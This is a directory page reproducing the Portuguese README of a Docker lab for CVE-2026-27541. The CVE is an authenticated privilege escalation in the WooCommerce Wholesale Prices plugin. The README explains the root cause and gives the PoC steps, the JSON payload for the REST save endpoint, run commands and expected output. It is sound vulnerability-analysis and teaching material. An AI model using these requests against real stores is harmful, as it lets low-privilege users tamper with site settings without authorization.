Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-27541-Analysis-Lab — Laboratório Docker para reproduzir o CVE-2026-27541, uma escalada de privilégios autenticada no WooCommerce Wholesale Prices. Compara builds vulneráveis e corrigidas, inclui script de PoC e análise da causa raiz. | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-27541-analysis-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubrootdirective-sec/cve-2026-27541-analysis-lab

CVE-2026-27541-Analysis-Lab

Laboratório Docker para reproduzir o CVE-2026-27541, uma escalada de privilégios autenticada no WooCommerce Wholesale Prices. Compara builds vulneráveis e corrigidas, inclui script de PoC e análise da causa raiz.

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-27541 — Laboratório de Escalação de Privilégios Autenticada no WooCommerce Wholesale Prices

vulnx

Visão Geral

Este projeto é um laboratório Docker local para analisar e reproduzir o comportamento da CVE-2026-27541 no plugin WooCommerce Wholesale Prices / Wholesale Suite, comparando as versões vulnerável e corrigida lado a lado na mesma máquina.

O problema central é Controle de Acesso Quebrado no seguinte endpoint da API REST:

root@kitploit:~
/wp-json/wwp/v1/admin/save

Com base no código-fonte usado neste laboratório, essa rota já possui um permission_callback tanto nas versões vulnerável quanto corrigida. No entanto, a versão afetada usa uma verificação de capacidade ampla demais para uma ação de gravação de configurações administrativas:

  • vulnerável (2.2.6) → current_user_can( 'manage_woocommerce' )
  • corrigida (2.2.7) → current_user_can( 'manage_options' )
  • Neste laboratório, o usuário shopmgr, que possui o papel shop_manager, tem manage_woocommerce=true mas não manage_options. Como resultado, esse usuário de baixo privilégio pode usar uma sessão válida de usuário autenticado mais um X-WP-Nonce válido para invocar o endpoint de gravação de configurações administrativas na versão vulnerável, enquanto a versão corrigida retorna 403 rest_forbidden para a mesma solicitação.


    O que este laboratório comprova

    • Nó vulnerável (2.2.6): o usuário shopmgr pode chamar com sucesso POST /wp-json/wwp/v1/admin/save e modificar as configurações do plugin.
    • Nó corrigido (2.2.7): a mesma solicitação de shopmgr é rejeitada com 403.
    • Solicitação sem autenticação: se o endpoint for chamado diretamente sem autenticação, ambas as versões retornam 403, o que é consistente com um problema de escalada de privilégios pós-autenticação.
    • Prova de persistência: após uma execução bem-sucedida do PoC, a versão vulnerável armazena a opção do WordPress wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, enquanto a versão corrigida ainda retorna See wholesale prices.

    Topologia do Laboratório

    Serviços

    • vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6
    • patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7
    • db-vuln / db-patched → bancos de dados MariaDB separados
    • seed-vuln / seed-patched → tarefas de semeadura wp-cli que instalam o WordPress, instalam o plugin, criam usuários e criam um produto para teste

    Portas publicadas

    • http://localhost:8081 → vulnerável
    • http://localhost:8082 → corrigido

    Imagens base

    • WordPress: wordpress:6.8.1-php8.2-apache
    • MariaDB: mariadb:11.4.5
    • Seeder: wordpress:cli-php8.2

    Estrutura do Repositório

    root@kitploit:~
    .
    ├── docker-compose.yml
    ├── README.md
    ├── patched/
    │   └── Dockerfile
    ├── vuln/
    │   └── Dockerfile
    ├── scripts/
    │   └── seed-wp.sh
    └── poc.py
    

    Arquivos importantes

    • docker-compose.yml — define as pilhas vulnerável e corrigida com bancos de dados separados
    • scripts/seed-wp.sh — instala WordPress, WooCommerce, o plugin alvo e cria usuários de teste e dados de produto
    • poc.py — PoC de menor dano para login, extração de nonce e invocação do endpoint REST

    Ambiente Semeado

    Quando a pilha estiver pronta, o script de semeadura cria o seguinte:

    Usuários

    • admin / AdminPass!234
    • shopmgr / ShopMgrPass!234

    Produto

    • slug: lab-product
    • preço normal: 100
    • preço de atacado: 50

    Versões

    • WooCommerce: 10.6.0

    • WooCommerce Wholesale Prices:

      • vulnerável: 2.2.6
      • corrigido: 2.2.7

    O script também grava lab-secrets.json em cada contêiner WordPress para que os dados semeados e as informações de versão possam ser verificados.


    Por que o PoC é de menor dano

    Este PoC não tenta assumir o controle do site, alterar papéis, instalar plugins ou executar um shell.

    Ele apenas faz o seguinte:

    1. faz login como shopmgr
    2. visita a página administrativa relevante para extrair wpApiSettings.nonce
    3. envia uma solicitação ao endpoint alvo
    4. altera um valor de configuração facilmente observável:
    root@kitploit:~
    wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
    

    Essa configuração é usada como um marcador observável para demonstrar que um usuário de baixo privilégio pode modificar configuração exclusiva de administradores.


    Resumo da Vulnerabilidade

    Componente afetado

    • Plugin: WooCommerce Wholesale Prices / Wholesale Suite
    • Rota: POST /wp-json/wwp/v1/admin/save

    Classe da vulnerabilidade

    • Controle de Acesso Quebrado
    • Escalação de Privilégios Autenticada

    Significado prático

    Embora o endpoint exija uma sessão válida e nonce, a versão vulnerável ainda permite que um usuário de baixo privilégio, como shopmgr com o papel shop_manager, invoque um endpoint que deveria ser exclusivo de administradores.

    Nuance importante

    Esta não é uma vulnerabilidade não autenticada.

    Se o endpoint for chamado diretamente sem uma sessão de usuário autenticado, tanto a versão vulnerável quanto a corrigida rejeitam a solicitação. O bug existe na autorização após autenticação, não na autenticação em si.


    Análise da Causa Raiz

    A versão vulnerável não está sem um permission_callback. A falha é que ela usa uma verificação de capacidade ampla demais (manage_woocommerce) para uma ação REST que grava configurações administrativas.

    Do código-fonte em includes/class-wwp-admin-settings.php:

    • tanto a versão vulnerável quanto a corrigida registram a mesma rota: POST /wp-json/wwp/v1/admin/save
    • ambas as versões a direcionam para save_registered_settings()
    • ambas as versões usam permission_admin_check() como o permission_callback
    • a diferença real é a capacidade que está sendo verificada

    Vulnerável (2.2.6)

    root@kitploit:~
    if ( ! current_user_can( 'manage_woocommerce' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    Corrigido (2.2.7)

    root@kitploit:~
    if ( ! current_user_can( 'manage_options' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    Neste laboratório, o usuário shopmgr, que possui o papel shop_manager, tem manage_woocommerce=true mas não manage_options, portanto passa na verificação vulnerável, mas falha na corrigida.

    O que mudou no comportamento corrigido

    A versão corrigida faz mais do que alterar a resposta de 200 para 403. Ela altera a lógica de controle de acesso ao restringir o requisito de capacidade de manage_woocommerce para manage_options.

    Além disso, o caminho de gravação na versão corrigida é ainda mais reforçado ao abandonar a filtragem baseada em prefixo em favor de listas de permissões explícitas e sanitização mais forte.

    Por que o PoC funciona na versão vulnerável

    O PoC segue o mesmo fluxo de um contexto real de navegador:

    • fazer login como shopmgr
    • abrir a página de configurações do plugin
    • extrair wpApiSettings.nonce
    • chamar POST /wp-json/wwp/v1/admin/save

    Como a versão vulnerável permite que usuários com manage_woocommerce invoquem essa ação de gravação de configurações, a solicitação é bem-sucedida e resulta em uma alteração persistente de opção.

    Lição de segurança

    Um nonce ajuda a proteger contra CSRF, mas não é um controle de autorização.

    Ter uma sessão válida e um nonce válido não significa que um usuário deve ter permissão para executar uma ação administrativa. Usar uma capacidade excessivamente ampla em um endpoint privilegiado é suficiente para criar uma bypass de autorização de baixo privilégio.


    Reproduzindo o Laboratório

    Pré-requisitos

    • Docker Desktop / Docker Engine
    • Docker Compose v2
    • Python 3
    • Acesso à internet para o download inicial de imagens e do plugin

    1) Iniciar o laboratório

    root@kitploit:~
    docker compose up -d --build
    

    2) Confirmar que os contêineres estão ativos

    root@kitploit:~
    docker compose ps
    

    Você deve ver pelo menos:

    • cve-2026-27541-vuln-1
    • cve-2026-27541-patched-1
    • cve-2026-27541-db-vuln-1
    • cve-2026-27541-db-patched-1

    3) Acompanhar os logs de semeadura

    root@kitploit:~
    docker compose logs -f seed-vuln seed-patched
    

    4) Inspecionar os metadados semeados

    root@kitploit:~
    docker compose exec vuln cat /var/www/html/lab-secrets.json
    docker compose exec patched cat /var/www/html/lab-secrets.json
    

    Passo a Passo do PoC

    poc.py funciona da seguinte forma:

    1. GET /wp-login.php

    2. POST /wp-login.php para estabelecer uma sessão autenticada

    3. abrir a página administrativa do plugin:

      root@kitploit:~
      /wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
      
    4. extrair wpApiSettings.nonce e a raiz REST do HTML/JavaScript

    5. enviar uma solicitação para:

      root@kitploit:~
      /wp-json/wwp/v1/admin/save
      
    6. enviar o payload:

    root@kitploit:~
    [
      {
        "key": "wwp_see_wholesale_prices_replacement_text",
        "value": "PWNED_BY_POC"
      }
    ]
    

    Executar o PoC

    Nó vulnerável

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8081 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Nó corrigido

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8082 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Resultados Esperados

    Vulnerável (8081)

    Saída esperada:

    root@kitploit:~
    [+] Base URL: http://localhost:8081
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: b6b6add11b
    [+] REST root: http://localhost:8081/wp-json/
    [+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
    [+] HTTP status: 200
    {"status":"success","message":"Settings saved successfully."}
    [+] PoC SUCCESS (pwnd)
    [*] Verify via incognito (not logged in):
        - Open product page
        - Look for: PWNED_BY_POC
    

    Corrigido (8082)

    Saída esperada:

    root@kitploit:~
    [+] Base URL: http://localhost:8082
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: 5c4ef2ac6f
    [+] REST root: http://localhost:8082/wp-json/
    [+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
    [+] HTTP status: 403
    {"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
    [-] PoC failed
    

    Verificação Manual

    Verificação pela interface

    Após o PoC ser bem-sucedido no nó vulnerável:

    1. faça logout ou abra uma janela anônima
    2. abra a página do produto ou a página da loja que exibe o texto de substituição
    3. procure por:
    root@kitploit:~
    PWNED_BY_POC
    

    Impacto de Segurança

    O impacto prático dessa classe de bug é que um usuário de baixo privilégio pode modificar configuração que deveria ser exclusiva de administradores, o que pode levar diretamente a:

    • adulteração de conteúdo
    • manipulação de mensagens no frontend
    • abuso de lógica de negócios

    Este laboratório usa intencionalmente um payload seguro e observável para evitar alterações de papéis ou qualquer escalada além do necessário para comprovar a condição da vulnerabilidade.


    Limpeza

    root@kitploit:~
    docker compose down -v
    

    Notas de Segurança

    • Apenas para uso em laboratório local
    • Todos os serviços estão vinculados apenas a localhost
    • O PoC é intencionalmente de menor dano e usa um valor observável inofensivo
    • Não adapte este PoC para uso contra sistemas que você não possui ou não tem permissão para testar

    Referências

    • Registro CVE — CVE-2026-27541
    • Wordfence — Wholesale Suite <= 2.2.6 - Escalação de Privilégios Autenticada (Shop Manager)
    • Página do Plugin no WordPress.org — Wholesale Suite – B2B, Dynamic Pricing & WooCommerce Wholesale Prices

    Resumo Rápido

    Este laboratório mostra que a CVE-2026-27541 é uma bypass de autorização autenticada de baixo privilégio no endpoint de configurações da API REST do plugin. A falha na versão 2.2.6 não é a ausência de uma verificação de permissão, mas o uso de uma capacidade excessivamente ampla (manage_woocommerce) para uma ação que deveria ser restrita ao nível de manage_options.

    Neste ambiente local:

    • shopmgr passa na verificação vulnerável e pode modificar com sucesso configurações administrativas através de POST /wp-json/wwp/v1/admin/save
    • a mesma solicitação é bloqueada na 2.2.7
    • a versão vulnerável persiste PWNED_BY_POC na opção alvo, enquanto a versão corrigida não

    Como resultado, este repositório serve tanto como prova comportamental quanto como prova baseada em código da diferença entre vulnerável e corrigido em um ambiente local totalmente controlado.

    Baixar ferramenta